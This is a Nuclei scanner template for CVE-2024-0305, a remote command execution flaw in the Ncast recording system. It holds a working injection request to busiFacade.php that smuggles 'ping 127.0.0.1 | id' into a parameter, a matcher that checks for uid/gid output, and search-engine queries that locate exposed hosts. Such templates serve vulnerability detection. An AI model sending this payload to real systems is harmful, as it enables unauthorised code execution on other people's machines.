id: CVE-2024-0305

info:
  name: Ncast busiFacade - Remote Command Execution
  author: BMCel
  severity: high
  description: |
    The Ncast Yingshi high-definition intelligent recording and playback system is a newly developed audio and video recording and playback system. The system has RCE vulnerabilities in versions 2017 and earlier.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system.
  reference:
    - https://cxsecurity.com/cveshow/CVE-2024-0305
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0305
    - https://vuldb.com/?id.249872
    - https://vuldb.com/?ctiid.249872
    - https://github.com/Marco-zcl/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-0305
    epss-score: 0.93119
    epss-percentile: 0.99797
    cpe: cpe:2.3:a:ncast_project:ncast:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ncast_project
    product: ncast
    shodan-query: http.title:"高清智能录播系统"
    fofa-query:
      - app="Ncast-产品" && title=="高清智能录播系统"
      - title="高清智能录播系统"
      - app="ncast-产品" && title=="高清智能录播系统"
    google-query: intitle:"高清智能录播系统"
    zoomeye-query: title="高清智能录播系统"
  tags: cve,cve2024,ncast,rce,ncast_project,vkev,vuln

http:
  - raw:
      - |
        POST /classes/common/busiFacade.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["ping 127.0.0.1 | id"]}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - "#str"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205308e6b951ac012cd1b21c6216e785e162b1be5e5102af150fa83339714041de022100bc46d2df3b5a42176f830049d55d52e10114cfd0bcb1eac089c0cb89578efd70:922c64590222798bb761d5b6d8e72950